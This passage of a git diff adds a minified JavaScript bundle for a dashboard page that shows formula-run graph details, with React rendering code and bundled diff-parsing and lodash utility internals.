diff --git a/internal/api/dashboardspa/dist/assets/FormulaRunDetail-BIoITriX.js b/internal/api/dashboardspa/dist/assets/FormulaRunDetail-BIoITriX.js
new file mode 100644
index 0000000000..a30cadca31
--- /dev/null
+++ b/internal/api/dashboardspa/dist/assets/FormulaRunDetail-BIoITriX.js
@@ -0,0 +1,12 @@
+import{j as d,r as j,S as Er,X as Me,Y as Ke,Z as Dr,_ as Tr,x as nn,p as rn,b as Xn,q as Or,K as Mr,f as Ir,u as Rr,$ as Pr,L as $r,B as Fr,H as Br,G as yn}from"./index-BFDP6Xwd.js";import{P as Gr}from"./PageHeader-5RHLpIfH.js";import{u as xr,R as Lr,B as Ur}from"./BeadDetailModal-BKOlUSQL.js";import{u as zr,S as Kr}from"./LiveSessionPeek-Cjv3DcC3.js";import{S as wn}from"./StageLadder-BIFUAoAh.js";import"./format-fte2CeYD.js";import"./Field-BpdGqWpv.js";import"./constants-DOaI3lZl.js";import"./time-D9v0saHV.js";const Hr=/^[A-Za-z0-9][A-Za-z0-9_.:/-]{0,127}$/,_n={pending:"pending",ready:"ready",running:"running",active:"running",done:"done",completed:"done",failed:"failed",blocked:"blocked",skipped:"skipped"};function Vr({node:e,selected:r,onToggle:n}){const t=Zr(e.constructKind),a=Yr(e.status),s=e.iterationSummary.kind==="stacked"?`${e.iterationSummary.iterationCount} iterations, showing ${e.iterationSummary.visibleIteration}`:null,i=e.attemptSummary.kind==="tracked"&&e.attemptSummary.badge.kind==="bounded"?` · attempt ${e.attemptSummary.badge.label}${Wr(e)}`:"";return d.jsxs("button",{type:"button","aria-pressed":r,onClick:()=>n(e.id),className:`focus-mark w-full text-left px-4 py-3 bg-transparent transition-colors duration-150 ease-out-quart ${t} ${r?"text-fg border-accent bg-surface-tint ring-2 ring-accent/45 ring-offset-2 ring-offset-surface":"text-fg border-rule hover:border-fg-faint hover:bg-surface-tint"}`,children:[d.jsxs("div",{className:"flex items-start justify-between gap-3",children:[d.jsxs("div",{children:[d.jsx("p",{className:"text-body text-fg leading-snug",children:e.title}),d.jsxs("p",{className:"mt-1 text-label uppercase tracking-wider text-fg-faint",children:[Xr(e.constructKind),i]})]}),d.jsxs("span",{className:`text-label uppercase tracking-wider shrink-0 ${a}`,children:[Jr(e.status)," ",_n[e.status]]})]}),s&&d.jsxs("p",{className:"mt-2 text-label uppercase tracking-wider text-fg-faint tnum",children:["stacked history: ",s]}),e.controlBadges.length>0&&d.jsx("div",{className:"mt-2 flex flex-wrap gap-2",children:e.controlBadges.map(l=>d.jsxs("span",{className:"text-label uppercase tracking-wider text-fg-muted border border-rule px-1.5 py-0.5",children:[l.label,": ",_n[l.status]]},l.id))})]})}function Wr(e){return e.attemptSummary.kind==="tracked"&&e.attemptSummary.active.kind==="running"?` · running attempt ${e.attemptSummary.active.value}`:""}function Xr(e){switch(e){case"run-root":return"run root";case"run-finalize":return"finalize";case"step":case"retry":case"check-loop":case"scope":case"condition":case"fanout":case"expansion":case"scope-check":case"spec":case"control":case"unknown":return e.replace(/-/g," ")}}function Zr(e){switch(e){case"run-root":return"formula-run-node-shape-root";case"step":case"unknown":return"formula-run-node-shape-step";case"retry":return"formula-run-node-shape-retry";case"check-loop":return"formula-run-node-shape-check-loop";case"scope":return"formula-run-node-shape-scope";case"condition":return"formula-run-node-shape-condition";case"fanout":return"formula-run-node-shape-fanout";case"expansion":return"formula-run-node-shape-expansion";case"scope-check":case"run-finalize":case"spec":case"control":return"formula-run-node-shape-control"}}function Yr(e){switch(e){case"failed":case"blocked":return"text-accent";case"active":case"running":case"ready":return"text-fg";case"completed":case"done":return"text-fg-muted";case"pending":case"skipped":return"text-fg-faint"}}function Jr(e){switch(e){case"completed":case"done":return"✓";case"active":case"running":return"●";case"failed":case"blocked":return"!";case"skipped":return"∅";case"pending":case"ready":return"·"}}function Qr({detail:e,selectedNodeId:r,onToggleNode:n}){const t=qr(e),a=et(e);return t.length===0?d.jsx("p",{className:"text-body text-fg-muted italic",children:"No graph nodes have materialized for this formula run."}):d.jsxs("section",{"aria-label":"Formula run graph",children:[d.jsx("div",{className:"flex items-baseline justify-between gap-4",children:d.jsx("h2",{className:"text-title text-fg",children:"Formula Graph"})}),d.jsx("ol",{className:"mt-5 space-y-3 relative",children:t.map((s,i)=>{const l=a.get(s.id),o=i>0?a.get(t[i-1]?.id??""):void 0,u=l!==void 0&&l!==o;return d.jsxs("li",{className:"relative pl-6",children:[u&&d.jsx("p",{className:"mb-1 text-label uppercase tracking-wider text-fg-faint",children:l}),i<t.length-1&&d.jsx("span",{"aria-hidden":"true",className:"absolute left-2 top-10 bottom-[-0.75rem] border-l border-rule"}),d.jsx("span",{"aria-hidden":"true",className:"absolute left-[0.3125rem] top-7 h-2 w-2 rounded-full bg-fg-faint"}),d.jsx(Vr,{node:s,selected:r===s.id,onToggle:n})]},s.id)})})]})}function qr(e){return e.nodes.filter(r=>r.visibleInGraph!==!1)}function et(e){const r=new Map;for(const n of e.lanes)for(const t of n.nodeIds)r.set(t,n.label);return r}function Nn(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var t=Object.getOwnPropertySymbols(e);r&&(t=t.filter((function(a){return Object.getOwnPropertyDescriptor(e,a).enumerable}))),n.push.apply(n,t)}return n}function M(e){for(var r=1;r<arguments.length;r++){var n=arguments[r]!=null?arguments[r]:{};r%2?Nn(Object(n),!0).forEach((function(t){He(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):Nn(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function He(e,r,n){return(r=(function(t){var a=(function(s,i){if(typeof s!="object"||s===null)return s;var l=s[Symbol.toPrimitive];if(l!==void 0){var o=l.call(s,i);if(typeof o!="object")return o;throw new TypeError("@@toPrimitive must return a primitive value.")}return(i==="string"?String:Number)(s)})(t,"string");return typeof a=="symbol"?a:String(a)})(r))in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function ce(e,r){if(e==null)return{};var n,t,a=(function(i,l){if(i==null)return{};var o,u,c={},f=Object.keys(i);for(u=0;u<f.length;u++)o=f[u],l.indexOf(o)>=0||(c[o]=i[o]);return c})(e,r);if(Object.getOwnPropertySymbols){var s=Object.getOwnPropertySymbols(e);for(t=0;t<s.length;t++)n=s[t],r.indexOf(n)>=0||Object.prototype.propertyIsEnumerable.call(e,n)&&(a[n]=e[n])}return a}function x(e,r){return rt(e)||(function(n,t){var a=n==null?null:typeof Symbol<"u"&&n[Symbol.iterator]||n["@@iterator"];if(a!=null){var s,i,l,o,u=[],c=!0,f=!1;try{if(l=(a=a.call(n)).next,t===0){if(Object(a)!==a)return;c=!1}else for(;!(c=(s=l.call(a)).done)&&(u.push(s.value),u.length!==t);c=!0);}catch(h){f=!0,i=h}finally{try{if(!c&&a.return!=null&&(o=a.return(),Object(o)!==o))return}finally{if(f)throw i}}return u}})(e,r)||tn(e,r)||at()}function nt(e){return(function(r){if(Array.isArray(r))return Ve(r)})(e)||tt(e)||tn(e)||(function(){throw new TypeError(`Invalid attempt to spread non-iterable instance.
+In order to be iterable, non-array objects must have a [Symbol.iterator]() method.`)})()}function rt(e){if(Array.isArray(e))return e}function tt(e){if(typeof Symbol<"u"&&e[Symbol.iterator]!=null||e["@@iterator"]!=null)return Array.from(e)}function tn(e,r){if(e){if(typeof e=="string")return Ve(e,r);var n=Object.prototype.toString.call(e).slice(8,-1);return n==="Object"&&e.constructor&&(n=e.constructor.name),n==="Map"||n==="Set"?Array.from(e):n==="Arguments"||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)?Ve(e,r):void 0}}function Ve(e,r){(r==null||r>e.length)&&(r=e.length);for(var n=0,t=new Array(r);n<r;n++)t[n]=e[n];return t}function at(){throw new TypeError(`Invalid attempt to destructure non-iterable instance.
+In order to be iterable, non-array objects must have a [Symbol.iterator]() method.`)}function st(e,r){var n=typeof Symbol<"u"&&e[Symbol.iterator]||e["@@iterator"];if(!n){if(Array.isArray(e)||(n=tn(e))||r){n&&(e=n);var t=0,a=function(){};return{s:a,n:function(){return t>=e.length?{done:!0}:{done:!1,value:e[t++]}},e:function(o){throw o},f:a}}throw new TypeError(`Invalid attempt to iterate non-iterable instance.
+In order to be iterable, non-array objects must have a [Symbol.iterator]() method.`)}var s,i=!0,l=!1;return{s:function(){n=n.call(e)},n:function(){var o=n.next();return i=o.done,o},e:function(o){l=!0,s=o},f:function(){try{i||n.return==null||n.return()}finally{if(l)throw s}}}}var Se=typeof globalThis<"u"?globalThis:typeof window<"u"?window:typeof global<"u"?global:typeof self<"u"?self:{};function ye(e,r){return e(r={exports:{}},r.exports),r.exports}var F=ye((function(e){(function(){var r={}.hasOwnProperty;function n(){for(var t=[],a=0;a<arguments.length;a++){var s=arguments[a];if(s){var i=typeof s;if(i==="string"||i==="number")t.push(s);else if(Array.isArray(s)){if(s.length){var l=n.apply(null,s);l&&t.push(l)}}else if(i==="object"){if(s.toString!==Object.prototype.toString&&!s.toString.toString().includes("[native code]")){t.push(s.toString());continue}for(var o in s)r.call(s,o)&&s[o]&&t.push(o)}}}return t.join(" ")}e.exports?(n.default=n,e.exports=n):window.classNames=n})()})),R={hunkClassName:"",lineClassName:"",gutterClassName:"",codeClassName:"",monotonous:!1,gutterType:"default",viewType:"split",widgets:{},hideGutter:!1,selectedChanges:[],generateAnchorID:function(){},generateLineClassName:function(){},renderGutter:function(e){var r=e.renderDefault;return(0,e.wrapInAnchor)(r())},codeEvents:{},gutterEvents:{}},Zn=j.createContext(R),it=Zn.Provider,ot=function(){return j.useContext(Zn)},lt=ye((function(e,r){(function(n){function t(s){var i=s.slice(11),l=null,o=null;switch(i.indexOf('"')){case-1:l=(f=i.split(" "))[0].slice(2),o=f[1].slice(2);break;case 0:var u=i.indexOf('"',2);l=i.slice(3,u);var c=i.indexOf('"',u+1);o=c<0?i.slice(u+4):i.slice(c+3,-1);break;default:var f;l=(f=i.split(" "))[0].slice(2),o=f[1].slice(3,-1)}return{oldPath:l,newPath:o}}var a={parse:function(s){for(var i,l,o,u,c,f=[],h=2,g=s.split(`
+`),m=g.length,v=0;v<m;){var b=g[v];if(b.indexOf("diff --git")===0){i={hunks:[],oldEndingNewLine:!0,newEndingNewLine:!0,oldPath:(c=t(b)).oldPath,newPath:c.newPath},f.push(i);var p,w=null;e:for(;p=g[++v];){var y=p.indexOf(" "),_=y>-1?p.slice(0,y):_;switch(_){case"diff":v--;break e;case"deleted":case"new":var N=p.slice(y+1);N.indexOf("file mode")===0&&(i[_==="new"?"newMode":"oldMode"]=N.slice(10));break;case"similarity":i.similarity=parseInt(p.split(" ")[2],10);break;case"index":var C=p.slice(y+1).split(" "),S=C[0].split("..");i.oldRevision=S[0],i.newRevision=S[1],C[1]&&(i.oldMode=i.newMode=C[1]);break;case"copy":case"rename":var A=p.slice(y+1);A.indexOf("from")===0?i.oldPath=A.slice(5):i.newPath=A.slice(3),w=_;break;case"---":var k=p.slice(y+1),E=g[++v].slice(4);k==="/dev/null"?(E=E.slice(2),w="add"):E==="/dev/null"?(k=k.slice(2),w="delete"):(w="modify",k=k.slice(2),E=E.slice(2)),k&&(i.oldPath=k),E&&(i.newPath=E),h=5;break e}}i.type=w||"modify"}else if(b.indexOf("Binary")===0)i.isBinary=!0,i.type=b.indexOf("/dev/null and")>=0?"add":b.indexOf("and /dev/null")>=0?"delete":"modify",h=2,i=null;else if(h===5)if(b.indexOf("@@")===0){var D=/^@@\s+-([0-9]+)(,([0-9]+))?\s+\+([0-9]+)(,([0-9]+))?/.exec(b);l={content:b,oldStart:D[1]-0,newStart:D[4]-0,oldLines:D[3]-0||1,newLines:D[6]-0||1,changes:[]},i.hunks.push(l),o=l.oldStart,u=l.newStart}else{var G=b.slice(0,1),T={content:b.slice(1)};switch(G){case"+":T.type="insert",T.isInsert=!0,T.lineNumber=u,u++;break;case"-":T.type="delete",T.isDelete=!0,T.lineNumber=o,o++;break;case" ":T.type="normal",T.isNormal=!0,T.oldLineNumber=o,T.newLineNumber=u,o++,u++;break;case"\\":var $=l.changes[l.changes.length-1];$.isDelete||(i.newEndingNewLine=!1),$.isInsert||(i.oldEndingNewLine=!1)}T.type&&l.changes.push(T)}v++}return f}};e.exports=a})()}));function we(e){return e.type==="insert"}function J(e){return e.type==="delete"}function ge(e){return e.type==="normal"}function ut(e,r){var n=r.nearbySequences==="zip"?(function(t){var a=t.reduce((function(s,i,l){var o=x(s,3),u=o[0],c=o[1],f=o[2];return c?we(i)&&f>=0?(u.splice(f+1,0,i),[u,i,f+2]):(u.push(i),[u,i,J(i)&&J(c)?f:l]):(u.push(i),[u,i,J(i)?l:-1])}),[[],null,-1]);return x(a,1)[0]})(e.changes):e.changes;return M(M({},e),{},{isPlain:!1,changes:n})}function ct(e){var r=arguments.length>1&&arguments[1]!==void 0?arguments[1]:{},n=(function(t){if(t.startsWith("diff --git"))return t;var a=t.indexOf(`
+`),s=t.indexOf(`
+`,a+1),i=t.slice(0,a),l=t.slice(a+1,s),o=i.split(" ").slice(1,-3).join(" "),u=l.split(" ").slice(1,-3).join(" ");return["diff --git a/".concat(o," b/").concat(u),"index 1111111..2222222 100644","--- a/".concat(o),"+++ b/".concat(u),t.slice(s+1)].join(`
+`)})(e.trimStart());return lt.parse(n).map((function(t){return(function(a,s){var i=a.hunks.map((function(l){return ut(l,s)}));return M(M({},a),{},{hunks:i})})(t,r)}))}function ft(e){return e[0]}function dt(e){return e[e.length-1]}function We(e){return["".concat(e,"Start"),"".concat(e,"Lines")]}function me(e){return e==="old"?function(r){return we(r)?-1:ge(r)?r.oldLineNumber:r.lineNumber}:function(r){return J(r)?-1:ge(r)?r.newLineNumber:r.lineNumber}}function Yn(e,r){return function(n,t){var a=n[e],s=a+n[r];return t>=a&&t<s}}function ht(e,r){return function(n,t,a){var s=n[e]+n[r],i=t[e];return a>=s&&a<i}}function Jn(e){var r=me(e),n=(function(t){var a=x(We(t),2),s=Yn(a[0],a[1]);return function(i,l){return i.find((function(o){return s(o,l)}))}})(e);return function(t,a){var s=n(t,a);if(s)return s.changes.find((function(i){return r(i)===a}))}}function an(e){var r=e==="old"?"new":"old",n=x(We(e),2),t=n[0],a=n[1],s=x(We(r),2),i=s[0],l=s[1],o=me(e),u=me(r),c=Yn(t,a),f=ht(t,a);return function(h,g){var m=ft(h);if(g<m[t]){var v=m[t]-g;return m[i]-v}var b=dt(h);if(b[t]+b[a]<=g){var p=g-b[t]-b[a];return b[i]+b[l]+p}for(var w=0;w<h.length;w++){var y=h[w],_=h[w+1];if(c(y,g)){var N=y.changes.findIndex((function(D){return o(D)===g})),C=y.changes[N];if(ge(C))return u(C);var S=J(C)?N+1:N-1,A=y.changes[S];if(!A)return-1;var k=we(C)?"delete":"insert";return A.type===k?u(A):-1}if(f(y,_,g)){var E=g-y[t]-y[a];return y[i]+y[l]+E}}throw new Error("Unexpected line position ".concat(g))}}var gt=function(){this.__data__=[],this.size=0},Qn=function(e,r){return e===r||e!=e&&r!=r},Ie=function(e,r){for(var n=e.length;n--;)if(Qn(e[n][0],r))return n;return-1},mt=Array.prototype.splice,vt=function(e){var r=this.__data__,n=Ie(r,e);return!(n<0)&&(n==r.length-1?r.pop():mt.call(r,n,1),--this.size,!0)},bt=function(e){var r=this.__data__,n=Ie(r,e);return n<0?void 0:r[n][1]},pt=function(e){return Ie(this.__data__,e)>-1},yt=function(e,r){var n=this.__data__,t=Ie(n,e);return t<0?(++this.size,n.push([e,r])):n[t][1]=r,this};function se(e){var r=-1,n=e==null?0:e.length;for(this.clear();++r<n;){var t=e[r];this.set(t[0],t[1])}}se.prototype.clear=gt,se.prototype.delete=vt,se.prototype.get=bt,se.prototype.has=pt,se.prototype.set=yt;var Re=se,wt=function(){this.__data__=new Re,this.size=0},_t=function(e){var r=this.__data__,n=r.delete(e);return this.size=r.size,n},Nt=function(e){return this.__data__.get(e)},jt=function(e){return this.__data__.has(e)},qn=typeof Se=="object"&&Se&&Se.Object===Object&&Se,St=typeof self=="object"&&self&&self.Object===Object&&self,W=qn||St||Function("return this")(),K=W.Symbol,er=Object.prototype,kt=er.hasOwnProperty,Ct=er.toString,he=K?K.toStringTag:void 0,At=function(e){var r=kt.call(e,he),n=e[he];try{e[he]=void 0;var t=!0}catch{}var a=Ct.call(e);return t&&(r?e[he]=n:delete e[he]),a},Et=Object.prototype.toString,Dt=function(e){return Et.call(e)},jn=K?K.toStringTag:void 0,de=function(e){return e==null?e===void 0?"[object Undefined]":"[object Null]":jn&&jn in Object(e)?At(e):Dt(e)},sn=function(e){var r=typeof e;return e!=null&&(r=="object"||r=="function")},nr=function(e){if(!sn(e))return!1;var r=de(e);return r=="[object Function]"||r=="[object GeneratorFunction]"||r=="[object AsyncFunction]"||r=="[object Proxy]"},xe=W["__core-js_shared__"],Sn=(function(){var e=/[^.]+$/.exec(xe&&xe.keys&&xe.keys.IE_PROTO||"");return e?"Symbol(src)_1."+e:""})(),Tt=function(e){return!!Sn&&Sn in e},Ot=Function.prototype.toString,te=function(e){if(e!=null){try{return Ot.call(e)}catch{}try{return e+""}catch{}}return""},Mt=/^\[object .+?Constructor\]$/,It=Function.prototype,Rt=Object.prototype,Pt=It.toString,$t=Rt.hasOwnProperty,Ft=RegExp("^"+Pt.call($t).replace(/[\\^$.*+?()[\]{}|]/g,"\\$&").replace(/hasOwnProperty|(function).*?(?=\\\()| for .+?(?=\\\])/g,"$1.*?")+"$"),Bt=function(e){return!(!sn(e)||Tt(e))&&(nr(e)?Ft:Mt).test(te(e))},Gt=function(e,r){return e?.[r]},ae=function(e,r){var n=Gt(e,r);return Bt(n)?n:void 0},ve=ae(W,"Map"),be=ae(Object,"create"),xt=function(){this.__data__=be?be(null):{},this.size=0},Lt=function(e){var r=this.has(e)&&delete this.__data__[e];return this.size-=r?1:0,r},Ut=Object.prototype.hasOwnProperty,zt=function(e){var r=this.__data__;if(be){var n=r[e];return n==="__lodash_hash_undefined__"?void 0:n}return Ut.call(r,e)?r[e]:void 0},Kt=Object.prototype.hasOwnProperty,Ht=function(e){var r=this.__data__;return be?r[e]!==void 0:Kt.call(r,e)},Vt=function(e,r){var n=this.__data__;return this.size+=this.has(e)?0:1,n[e]=be&&r===void 0?"__lodash_hash_undefined__":r,this};function ie(e){var r=-1,n=e==null?0:e.length;for(this.clear();++r<n;){var t=e[r];this.set(t[0],t[1])}}ie.prototype.clear=xt,ie.prototype.delete=Lt,ie.prototype.get=zt,ie.prototype.has=Ht,ie.prototype.set=Vt;var kn=ie,Wt=function(){this.size=0,this.__data__={hash:new kn,map:new(ve||Re),string:new kn}},Xt=function(e){var r=typeof e;return r=="string"||r=="number"||r=="symbol"||r=="boolean"?e!=="__proto__":e===null},Pe=function(e,r){var n=e.__data__;return Xt(r)?n[typeof r=="string"?"string":"hash"]:n.map},Zt=function(e){var r=Pe(this,e).delete(e);return this.size-=r?1:0,r},Yt=function(e){return Pe(this,e).get(e)},Jt=function(e){return Pe(this,e).has(e)},Qt=function(e,r){var n=Pe(this,e),t=n.size;return n.set(e,r),this.size+=n.size==t?0:1,this};function oe(e){var r=-1,n=e==null?0:e.length;for(this.clear();++r<n;){var t=e[r];this.set(t[0],t[1])}}oe.prototype.clear=Wt,oe.prototype.delete=Zt,oe.prototype.get=Yt,oe.prototype.has=Jt,oe.prototype.set=Qt;var $e=oe,qt=function(e,r){var n=this.__data__;if(n instanceof Re){var t=n.__data__;if(!ve||t.length<199)return t.push([e,r]),this.size=++n.size,this;n=this.__data__=new $e(t)}return n.set(e,r),this.size=n.size,this};function le(e){var r=this.__data__=new Re(e);this.size=r.size}le.prototype.clear=wt,le.prototype.delete=_t,le.prototype.get=Nt,le.prototype.has=jt,le.prototype.set=qt;var Ee=le,ea=function(e){return this.__data__.set(e,"__lodash_hash_undefined__"),this},na=function(e){return this.__data__.has(e)};function De(e){var r=-1,n=e==null?0:e.length;for(this.__data__=new $e;++r<n;)this.add(e[r])}De.prototype.add=De.prototype.push=ea,De.prototype.has=na;var ra=De,ta=function(e,r){for(var n=-1,t=e==null?0:e.length;++n<t;)if(r(e[n],n,e))return!0;return!1},aa=function(e,r){return e.has(r)},rr=function(e,r,n,t,a,s){var i=1&n,l=e.length,o=r.length;if(l!=o&&!(i&&o>l))return!1;var u=s.get(e),c=s.get(r);if(u&&c)return u==r&&c==e;var f=-1,h=!0,g=2&n?new ra:void 0;for(s.set(e,r),s.set(r,e);++f<l;){var m=e[f],v=r[f];if(t)var b=i?t(v,m,f,r,e,s):t(m,v,f,e,r,s);if(b!==void 0){if(b)continue;h=!1;break}if(g){if(!ta(r,(function(p,w){if(!aa(g,w)&&(m===p||a(m,p,n,t,s)))return g.push(w)}))){h=!1;break}}else if(m!==v&&!a(m,v,n,t,s)){h=!1;break}}return s.delete(e),s.delete(r),h},Cn=W.Uint8Array,sa=function(e){var r=-1,n=Array(e.size);return e.forEach((function(t,a){n[++r]=[a,t]})),n},ia=function(e){var r=-1,n=Array(e.size);return e.forEach((function(t){n[++r]=t})),n},An=K?K.prototype:void 0,Le=An?An.valueOf:void 0,oa=function(e,r,n,t,a,s,i){switch(n){case"[object DataView]":if(e.byteLength!=r.byteLength||e.byteOffset!=r.byteOffset)return!1;e=e.buffer,r=r.buffer;case"[object ArrayBuffer]":return!(e.byteLength!=r.byteLength||!s(new Cn(e),new Cn(r)));case"[object Boolean]":case"[object Date]":case"[object Number]":return Qn(+e,+r);case"[object Error]":return e.name==r.name&&e.message==r.message;case"[object RegExp]":case"[object String]":return e==r+"";case"[object Map]":var l=sa;case"[object Set]":var o=1&t;if(l||(l=ia),e.size!=r.size&&!o)return!1;var u=i.get(e);if(u)return u==r;t|=2,i.set(e,r);var c=rr(l(e),l(r),t,a,s,i);return i.delete(e),c;case"[object Symbol]":if(Le)return Le.call(e)==Le.call(r)}return!1},la=function(e,r){for(var n=-1,t=r.length,a=e.length;++n<t;)e[a+n]=r[n];return e},V=Array.isArray,ua=function(e,r,n){var t=r(e);return V(e)?t:la(t,n(e))},ca=function(e,r){for(var n=-1,t=e==null?0:e.length,a=0,s=[];++n<t;){var i=e[n];r(i,n,e)&&(s[a++]=i)}return s},fa=function(){return[]},da=Object.prototype.propertyIsEnumerable,En=Object.getOwnPropertySymbols,ha=En?function(e){return e==null?[]:(e=Object(e),ca(En(e),(function(r){return da.call(e,r)})))}:fa,ga=function(e,r){for(var n=-1,t=Array(e);++n<e;)t[n]=r(n);return t},fe=function(e){return e!=null&&typeof e=="object"},Dn=function(e){return fe(e)&&de(e)=="[object Arguments]"},tr=Object.prototype,ma=tr.hasOwnProperty,va=tr.propertyIsEnumerable,ar=Dn((function(){return arguments})())?Dn:function(e){return fe(e)&&ma.call(e,"callee")&&!va.call(e,"callee")},ba=function(){return!1},Xe=ye((function(e,r){var n=r&&!r.nodeType&&r,t=n&&e&&!e.nodeType&&e,a=t&&t.exports===n?W.Buffer:void 0,s=(a?a.isBuffer:void 0)||ba;e.exports=s})),pa=/^(?:0|[1-9]\d*)$/,sr=function(e,r){var n=typeof e;return!!(r=r??9007199254740991)&&(n=="number"||n!="symbol"&&pa.test(e))&&e>-1&&e%1==0&&e<r},on=function(e){return typeof e=="number"&&e>-1&&e%1==0&&e<=9007199254740991},O={};O["[object Float32Array]"]=O["[object Float64Array]"]=O["[object Int8Array]"]=O["[object Int16Array]"]=O["[object Int32Array]"]=O["[object Uint8Array]"]=O["[object Uint8ClampedArray]"]=O["[object Uint16Array]"]=O["[object Uint32Array]"]=!0,O["[object Arguments]"]=O["[object Array]"]=O["[object ArrayBuffer]"]=O["[object Boolean]"]=O["[object DataView]"]=O["[object Date]"]=O["[object Error]"]=O["[object Function]"]=O["[object Map]"]=O["[object Number]"]=O["[object Object]"]=O["[object RegExp]"]=O["[object Set]"]=O["[object String]"]=O["[object WeakMap]"]=!1;var ya=function(e){return fe(e)&&on(e.length)&&!!O[de(e)]},wa=function(e){return function(r){return e(r)}},Tn=ye((function(e,r){var n=r&&!r.nodeType&&r,t=n&&e&&!e.nodeType&&e,a=t&&t.exports===n&&qn.process,s=(function(){try{var i=t&&t.require&&t.require("util").types;return i||a&&a.binding&&a.binding("util")}catch{}})();e.exports=s})),On=Tn&&Tn.isTypedArray,ir=On?wa(On):ya,_a=Object.prototype.hasOwnProperty,Na=function(e,r){var n=V(e),t=!n&&ar(e),a=!n&&!t&&Xe(e),s=!n&&!t&&!a&&ir(e),i=n||t||a||s,l=i?ga(e.length,String):[],o=l.length;for(var u in e)!_a.call(e,u)||i&&(u=="length"||a&&(u=="offset"||u=="parent")||s&&(u=="buffer"||u=="byteLength"||u=="byteOffset")||sr(u,o))||l.push(u);return l},ja=Object.prototype,Sa=function(e){var r=e&&e.constructor;return e===(typeof r=="function"&&r.prototype||ja)},ka=(function(e,r){return function(n){return e(r(n))}})(Object.keys,Object),Ca=Object.prototype.hasOwnProperty,Aa=function(e){if(!Sa(e))return ka(e);var r=[];for(var n in Object(e))Ca.call(e,n)&&n!="constructor"&&r.push(n);return r},Ea=function(e){return e!=null&&on(e.length)&&!nr(e)},ln=function(e){return Ea(e)?Na(e):Aa(e)},Mn=function(e){return ua(e,ln,ha)},Da=Object.prototype.hasOwnProperty,Ta=function(e,r,n,t,a,s){var i=1&n,l=Mn(e),o=l.length;if(o!=Mn(r).length&&!i)return!1;for(var u=o;u--;){var c=l[u];if(!(i?c in r:Da.call(r,c)))return!1}var f=s.get(e),h=s.get(r);if(f&&h)return f==r&&h==e;var g=!0;s.set(e,r),s.set(r,e);for(var m=i;++u<o;){var v=e[c=l[u]],b=r[c];if(t)var p=i?t(b,v,c,r,e,s):t(v,b,c,e,r,s);if(!(p===void 0?v===b||a(v,b,n,t,s):p)){g=!1;break}m||(m=c=="constructor")}if(g&&!m){var w=e.constructor,y=r.constructor;w==y||!("constructor"in e)||!("constructor"in r)||typeof w=="function"&&w instanceof w&&typeof y=="function"&&y instanceof y||(g=!1)}return s.delete(e),s.delete(r),g},Ze=ae(W,"DataView"),Ye=ae(W,"Promise"),Je=ae(W,"Set"),Qe=ae(W,"WeakMap"),Oa=te(Ze),Ma=te(ve),Ia=te(Ye),Ra=te(Je),Pa=te(Qe),re=de;(Ze&&re(new Ze(new ArrayBuffer(1)))!="[object DataView]"||ve&&re(new ve)!="[object Map]"||Ye&&re(Ye.resolve())!="[object Promise]"||Je&&re(new Je)!="[object Set]"||Qe&&re(new Qe)!="[object WeakMap]")&&(re=function(e){var r=de(e),n=r=="[object Object]"?e.constructor:void 0,t=n?te(n):"";if(t)switch(t){case Oa:return"[object DataView]";case Ma:return"[object Map]";case Ia:return"[object Promise]";case Ra:return"[object Set]";case Pa:return"[object WeakMap]"}return r});var In=re,ke="[object Object]",Rn=Object.prototype.hasOwnProperty,$a=function(e,r,n,t,a,s){var i=V(e),l=V(r),o=i?"[object Array]":In(e),u=l?"[object Array]":In(r),c=(o=o=="[object Arguments]"?ke:o)==ke,f=(u=u=="[object Arguments]"?ke:u)==ke,h=o==u;if(h&&Xe(e)){if(!Xe(r))return!1;i=!0,c=!1}if(h&&!c)return s||(s=new Ee),i||ir(e)?rr(e,r,n,t,a,s):oa(e,r,o,n,t,a,s);if(!(1&n)){var g=c&&Rn.call(e,"__wrapped__"),m=f&&Rn.call(r,"__wrapped__");if(g||m){var v=g?e.value():e,b=m?r.value():r;return s||(s=new Ee),a(v,b,n,t,s)}}return!!h&&(s||(s=new Ee),Ta(e,r,n,t,a,s))},or=function e(r,n,t,a,s){return r===n||(r==null||n==null||!fe(r)&&!fe(n)?r!=r&&n!=n:$a(r,n,t,a,e,s))},Fa=function(e,r,n,t){var a=n.length,s=a;if(e==null)return!s;for(e=Object(e);a--;){var i=n[a];if(i[2]?i[1]!==e[i[0]]:!(i[0]in e))return!1}for(;++a<s;){var l=(i=n[a])[0],o=e[l],u=i[1];if(i[2]){if(o===void 0&&!(l in e))return!1}else{var c=new Ee,f;if(!(f===void 0?or(u,o,3,t,c):f))return!1}}return!0},lr=function(e){return e==e&&!sn(e)},Ba=function(e){for(var r=ln(e),n=r.length;n--;){var t=r[n],a=e[t];r[n]=[t,a,lr(a)]}return r},ur=function(e,r){return function(n){return n!=null&&n[e]===r&&(r!==void 0||e in Object(n))}},Ga=function(e){var r=Ba(e);return r.length==1&&r[0][2]?ur(r[0][0],r[0][1]):function(n){return n===e||Fa(n,e,r)}},un=function(e){return typeof e=="symbol"||fe(e)&&de(e)=="[object Symbol]"},xa=/\.|\[(?:[^[\]]*|(["'])(?:(?!\1)[^\\]|\\.)*?\1)\]/,La=/^\w*$/,cn=function(e,r){if(V(e))return!1;var n=typeof e;return!(n!="number"&&n!="symbol"&&n!="boolean"&&e!=null&&!un(e))||La.test(e)||!xa.test(e)||r!=null&&e in Object(r)};function fn(e,r){if(typeof e!="function"||r!=null&&typeof r!="function")throw new TypeError("Expected a function");var n=function(){var t=arguments,a=r?r.apply(this,t):t[0],s=n.cache;if(s.has(a))return s.get(a);var i=e.apply(this,t);return n.cache=s.set(a,i)||s,i};return n.cache=new(fn.Cache||$e),n}fn.Cache=$e;var Ua=fn,za=/[^.[\]]+|\[(?:(-?\d+(?:\.\d+)?)|(["'])((?:(?!\2)[^\\]|\\.)*?)\2)\]|(?=(?:\.|\[\])(?:\.|\[\]|$))/g,Ka=/\\(\\)?/g,Ha=(function(e){var r=Ua(e,(function(t){return n.size===500&&n.clear(),t})),n=r.cache;return r})((function(e){var r=[];return e.charCodeAt(0)===46&&r.push(""),e.replace(za,(function(n,t,a,s){r.push(a?s.replace(Ka,"$1"):t||n)})),r})),Va=function(e,r){for(var 